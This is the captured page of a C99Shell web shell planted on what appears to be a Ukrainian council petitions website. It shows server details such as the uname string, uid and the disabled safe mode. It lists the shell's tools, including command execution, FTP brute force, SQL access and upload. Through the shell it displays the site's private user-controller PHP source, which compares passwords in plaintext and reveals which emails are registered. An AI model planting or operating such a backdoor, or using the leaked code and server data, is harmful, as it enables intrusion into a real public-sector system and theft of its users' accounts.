!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/modules/users/   drwxr-xr-x
Free 116.71 GB of 200.55 GB (58.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     controller.inc.php (20.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Users_Controller{
    public static function 
MailAction()
    {

    }
    public static function 
JsonUsersListAction($params)
    {
        if (!
Users_Model::IsAdmin())
            return 
false;
        
$sort = (int)$_POST['sort'];
        
$start = (int)$_POST['start'];
        
$count = (int)$_POST['count'];
        if (
$start 0)
            
$start 0;
        if (
$count 20)
            
$count 20;
        
$res = array();
        if (!isset(
$_POST['start']))
        {
            
$res['count'] = Users_Model::GetUsersCount();
        }
        
$res['rows'] = Users_Model::GetUsers($sort$start$count);
        echo 
json_encode($res);
        die;
        
//GetUsefulDate($row[''],true,true) */

    
}
    public static function 
JsonUsersChangePendingListAction($params)
    {
        if (!
Users_Model::IsAdmin())
            return 
false;
        
$sort = (int)$_POST['sort'];
        
$start = (int)$_POST['start'];
        
$count = (int)$_POST['count'];
        if (
$start 0)
            
$start 0;
        if (
$count 20)
            
$count 20;
        
$res = array();
        if (!isset(
$_POST['start']))
        {
            
$res['count'] = Users_Model::GetUsersChangePendingCount();
        }
        
$res['rows'] = Users_Model::GetUsersChangePending($sort$start$count);
        echo 
json_encode($res);
        die;
        
//GetUsefulDate($row[''],true,true) */

    
}
    public static function 
JsonUsersCountAction($params)
    {
        if (!
Users_Model::IsAdmin())
            return 
false;
        
$val Users_Model::GetUsersCount();
        echo 
json_encode(array('count' => $val));
        die;
        
//GetUsefulDate($row[''],true,true) */

    
}
    public static function 
ProfileAction($params)
    {
        switch(
count($params))
        {
            case 
2:
                if (
$params[0] == 'ajax') {
                    if (
$params[1] == 'accept' && Users_Model::IsAdmin())
                    {
                        
$id = (int)$_POST['user_id'];
                        
$res Users_Model::AcceptPendingChangeUserProfile($id);
                        
$arr = array();
                        if (
$res)
                            
$arr['message'] = 'Зміну даних успішно підтверджено';
                        else
                            
$arr['message'] = 'Помилка підтвердження зміни даних';
                        
$arr['status'] = $res;
                        echo 
json_encode($arr);
                        die;
                    }
                    if (
$params[1] == 'decline' && Users_Model::IsAdmin())
                    {
                        
$id = (int)$_POST['user_id'];
                        
$res Users_Model::DeclinePendingChangeUserProfile($id);
                        
$arr = array();
                        if (
$res)
                            
$arr['message'] = 'Заявку на зміну персональних даних користувача видалено';
                        else
                            
$arr['message'] = 'Помилка видалення заявки користувача';
                        
$arr['status'] = $res;
                        echo 
json_encode($arr);
                        die;
                    }
                    if (
$params[1] == 'change' && Users_Model::IsAuthorized()) {
                        
$user Users_Model::GetCurrentUser();
                        
$newUser $_POST;
                        
$error = array();
                        
$result = array();
                        if (isset(
$newUser['user_oldpassword'])) {
                            if (
$user['user_password'] != $newUser['user_oldpassword']) {
                                
array_push($error'Помилка. Неправильно введений існуючий пароль');
                                
array_push($result, -1);
                            } else {
                                if (
$newUser['user_newpassword'] != $newUser['user_newpassword2']) {
                                    
array_push($error'Помилка. Неправильно введено новий пароль (паролі не співпадають)');
                                    
array_push($result, -2);
                                } else {
                                    
array_push($error'Пароль успішно змінено.');
                                    
array_push($result1);
                                    
Users_Model::ChangePasswordByUserId($user['user_id'], $newUser['user_newpassword']);
                                }
                            }
                        }
                        if (
$user['user_firstname'] != $newUser['user_firstname'] ||
                            
$user['user_lastname'] != $newUser['user_lastname'] ||
                            
$user['user_middlename'] != $newUser['user_middlename']
                        )
                            
$f Users_Model::UserProfileAddChangeQueue($newUser$user['user_id']);
                        else {
                            
$res = array();
                            if (empty(
$error)) {
                                
array_push($error'Інформація не потребує збереження.');
                                
array_push($result, -3);
                            }
                            
$res['message'] = $error;
                            
$res['result'] = $result;
                            echo 
json_encode($res);
                            die;
                        }
                        
$res = array();
                        if (
$f) {
                            
array_push($error'Інформація відправлена модератору. Найближчим часом заявка на зміну даних буде опрацьована.');
                            
array_push($result2);
                            
$res['status'] = true;
                        }
                        else {
                            if (empty(
$error))
                            
array_push($error'Для відправки нової заявки на зміну інформації потрібно або відмінити попередню, або дочекатися відповіді модератора.');
                            
array_push($result3);
                            
$res['status'] = false;
                        }
                        
$res['message'] = $error;
                        
$res['result'] = $result;
                        echo 
json_encode($res);
                        die;
                    }
                    if (
$params[1] == 'cancel' && Users_Model::IsAuthorized())
                    {
                        
Users_Model::UserProfileRemoveChangeQueue(Users_Model::GetUserId());
                        
$res = array();
                        
$res['message'] = 'Вашу заявку на зміну персональних даних видалено.';
                        echo 
json_encode($res);
                        die;
                    }
                }
                break;
            default:
                if (!
Users_Model::IsAuthorized())
                    return 
Main_Controller::Error(404);
                
$user Users_Model::GetCurrentUser();
                
$userNew Users_Model::UserProfileGetChangeQueue($user['user_id']);
                return array( 
'Title'     => 'Редагування персонального профілю',
                             
'Content'   => Users_View::ProfileEdit($user$userNew));

        }

    }
    public static function 
ViewAction($params)
    {
        if (!
Users_Model::IsAdmin())
            return 
Main_Controller::Error(404);
      return array( 
'Title'     => 'Список користувачів',
                              
'Content'   => Users_View::GetList(0020));
    }
    public static function 
RequestsAction($params)
    {
        if (!
Users_Model::IsAdmin())
            return 
Main_Controller::Error(404);
        switch(
count($params))
        {
            default:
                return array( 
'Title'     => 'Список користувачів, які очікують зміну персональних даних',
                              
'Content'   => Users_View::GetChangePendingList(0020));
        }
    }
    public static function 
RestoreAction($params)
    {
        if (
Users_Model::IsAuthorized())
            
Main_Controller::Error(404);
        if(
$_SERVER['REQUEST_METHOD'] == 'POST') {
            switch(
count($params)) {
                case 
1:
                    if (
$params[0] == 'ajax') {
                        
$code $_POST['user_restore_code'];
                        
$user Users_Model::GetUserByRestoreCode($code);
                        if (
$user && $user['user_email'] == $_POST['email']) {
                            
Users_Model::ChangePasswordByUserId($user['user_id'], $_POST['password']);
                            
$res['ok'] = true;
                            
$res['message'] = 'Пароль успішно змінено. Ви можете зайти на сайт, використовуючи новий пароль';
                            echo 
json_encode($res);
                            die;
                        } else
                        {
                            
$res['ok'] = false;
                            
$res['message'] = 'Помилка зміни пароля';
                            echo 
json_encode($res);
                            die;
                        }
                        die;
                    }
                    return;
            }


            if (!
Users_Model::IsUserExists($_POST['user_email'])) {
                
$res['ok'] = false;
                
$res['message'] = 'Даний email не зареєстровано на сайті';
                echo 
json_encode($res);
                die;
            } else {
                
$mail $_POST['user_email'];
                
$row Users_Model::GetUserByEmail($mail);
                if (
$row['user_status'] === '0')
                {
                    echo 
json_encode(array('status' => 'ok''ok' => true'message' => 'Ваш профіль не підтверджено. Потрібно підтвердити профіль, перейшовши за посиланням, яке прийшло на електронну пошту при реєстрації.','email' => $params[0]));
                } else
                    if (
$row['user_status'] === '1')
                    {
                        
Users_Model::SendRestoreMail($_POST['user_email']);
                        
$res['ok'] = true;
                        
$res['message'] = 'На Вашу пошту відправлено лист з посиланням для відновлення пароля';
                        echo 
json_encode($res);
                    }
                    else {
                        echo 
json_encode(array('status' => 'ok''ok' => true'message' => 'Вказаний email не зареєстровано на сайті''email' => $params[0]));
                    }
                die;
            }
        } else
        {
            
$code $params[0];
            
$user Users_Model::GetUserByRestoreCode($code);
            if (
$user) {
                return array(
'Title'     => 'Відновлення паролю',
                    
'Content'   => Users_View::RestoreChangePassword($user));
            } else
            {
                return array(
'Title' => 'Підтвердження облікового запису',
                    
'Content' => 'Користувача не знайдено');
            }
        }
    }
    public static function 
ResendAction($params)
    {
        if (
Users_Model::IsAuthorized())
            return;
        
$mail $params[0];
        
$row Users_Model::GetUserByEmail($mail);
        if (
$row['user_status'] === '0')
        {
            
Users_Model::RegisterMailResend($params[0]);
            echo 
json_encode(array('status' => 'ok''ok' => true'message' => 'Лист активації відправлено на електронну пошту','email' => $params[0]));
        } else
        if (
$row['user_status'] === '1')
        {
            echo 
json_encode(array('status' => 'ok''ok' => true'message' => 'Ваш профіль вже підтверджено. Ви можете зайти, ввівши логін та пароль, вказані при реєстрації','email' => $params[0]));
        }
        else
            echo 
json_encode(array('status' => 'ok''ok' => true'message' => 'Вказаний email не зареєстровано на сайті','email' => $params[0]));
        die;
    }
    public static function 
RegisterAction($params)
    {
        if (
Users_Model::IsAuthorized())
            
Main_Controller::Error(404);
        switch(
count($params))
        {
            case 
1:
                if (
$params[0] == 'ajax') {
                    if (!
Users_Model::ValidateEmail($_POST['email'])) {
                        
$res['ok'] = false;
                        
$res['error'] = 'Введено некоректний e-mail';
                        echo 
json_encode($res);
                        die;
                    }
                   
/* if (!checkdnsrr(array_pop(explode("@",$_POST['email'])),"MX")) {
                        $res['ok'] = false;
                        $res['error'] = 'Введено неіснуючий домен електронної пошти (після символу "@")';
                        echo json_encode($res);
                        die;
                    }*/
                    
if (Users_Model::IsUserExists($_POST['email'])) {
                        
$res['ok'] = false;
                        
$res['error'] = 'Даний email вже зареєстровано на сайті';
                        echo 
json_encode($res);
                        die;
                    }

                    
Users_Model::AddUser($_POST);
                    
$res['ok'] = true;
                    echo 
json_encode($res);
                    die;
                }
                if (
$params[0] == 'ok')
                {
                    return array(
'Title'     => 'Реєстрація на сайті',
                        
'Content'   => Users_View::RegisterOK());
                }
                break;
            case 
2:
                if (
$params[0] == 'confirm')
                {
                    
$code $params[1];
                    
$user Users_Model::GetUserByCode($code);
                    if (
$user) {
                        
Users_Model::ConfirmUser($code);
                        return array(
'Title' => 'Підтвердження облікового запису',
                            
'Content' => Users_View::RegisterConfirmOK());
                    } else
                    {
                        return array(
'Title' => 'Підтвердження облікового запису',
                            
'Content' => Users_View::RegisterConfirmError());
                    }
                }
            default:
                return array(
'Title'     => 'Реєстрація на сайті',
                    
'Content'   => Users_View::Register());

        }
    }
    
/*public static function RegisterAction($params)
    {
        if (Users_Model::IsAuthorized())
            Main_Controller::Error(404);
       switch(count($params))
       {
           case 1:
               if ($params[0] == 'ajax') {
                   if (Users_Model::IsUserExists($_POST['email'])) {
                       $res['ok'] = false;
                       $res['error'] = 'Даний email вже зареєстровано на сайті';
                       echo json_encode($res);
                       die;
                   }
                   Users_Model::AddUser($_POST);
                   $res['ok'] = true;
                   echo json_encode($res);
                   die;
               }
               if ($params[0] == 'ok')
               {
                   return array('Title'     => 'Реєстрація на сайті',
                                'Content'   => Users_View::RegisterOK());
               }
               break;
           case 2:
               if ($params[0] == 'confirm')
               {
                   $code = $params[1];
                   $user = Users_Model::GetUserByCode($code);
                   if ($user) {
                       Users_Model::ConfirmUser($code);
                       return array('Title' => 'Підтвердження облікового запису',
                           'Content' => Users_View::RegisterConfirmOK());
                   } else
                   {
                       return array('Title' => 'Підтвердження облікового запису',
                           'Content' => Users_View::RegisterConfirmError());
                   }
               }
           default:
               return array('Title'     => 'Реєстрація на сайті',
                            'Content'   => Users_View::Register());

       }
    }*/
    
public static function LogoutAction()
    {
        
Users_Model::Logout();
        
Main_Controller::Redirect('/');
    }
    public static function 
LoginAction($params)
    {
        if (
Users_Model::IsAuthorized())
            
Main_Controller::Error(404);
        switch(
count($params))
        {
            case 
1:
                if (
$params[0] == 'ajax') {
                    if (
Users_Model::AuthorizeUser($_POST['email'], $_POST['password'])) {
                        
$res['ok'] = true;
                        echo 
json_encode($res);
                        die;
                    } else
                    {
                        
$res['ok'] = false;
                        
$user Users_Model::GetUserByEmail($_POST['email']);
                        if (
$user == null)
                            
$res['error'] = 'Даний e-mail не зареєстровано на сайті';
                        else
                            if (
$user['user_status'] == 1)
                                
$res['error'] = 'Ви ввели неправильний пароль';
                            else
                                if (
$user['user_status'] == 0)
                                    
$res['error'] = 'Даний e-mail не активовано. Перейдіть за посиланням, що надійшло Вам на електронну пошту';
                                else
                                    
$res['error'] = 'Неправильний логін або пароль';
                        echo 
json_encode($res);
                        die;
                    }
                }
                if (
$params[0] == 'ok')
                {
                    return array(
'Title'     => 'Реєстрація на сайті',
                        
'Content'   => Users_View::RegisterOK());
                }
                break;
            default:
                return array(
'Title'    => 'Авторизація',
                    
'Content'  => Users_View::Login());
        }
    }
    
/*public static function LoginAction($params)
    {
        if (Users_Model::IsAuthorized())
            Main_Controller::Error(404);
        switch(count($params))
        {
            case 1:
                if ($params[0] == 'ajax') {
                        if (Users_Model::AuthorizeUser($_POST['email'], $_POST['password'])) {
                            $res['ok'] = true;
                            echo json_encode($res);
                            die;
                        } else
                        {
                            $res['ok'] = false;
                            $res['error'] = 'Неправильний логін або пароль';
                            echo json_encode($res);
                            die;
                        }
                }
                if ($params[0] == 'ok')
                {
                    return array('Title'     => 'Реєстрація на сайті',
                                'Content'   => Users_View::RegisterOK());
                }
                break;
            default:
                return array('Title'    => 'Авторизація',
                             'Content'  => Users_View::Login());
        }
    }*/
    
public static function IndexAction()
    {

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0125 ]--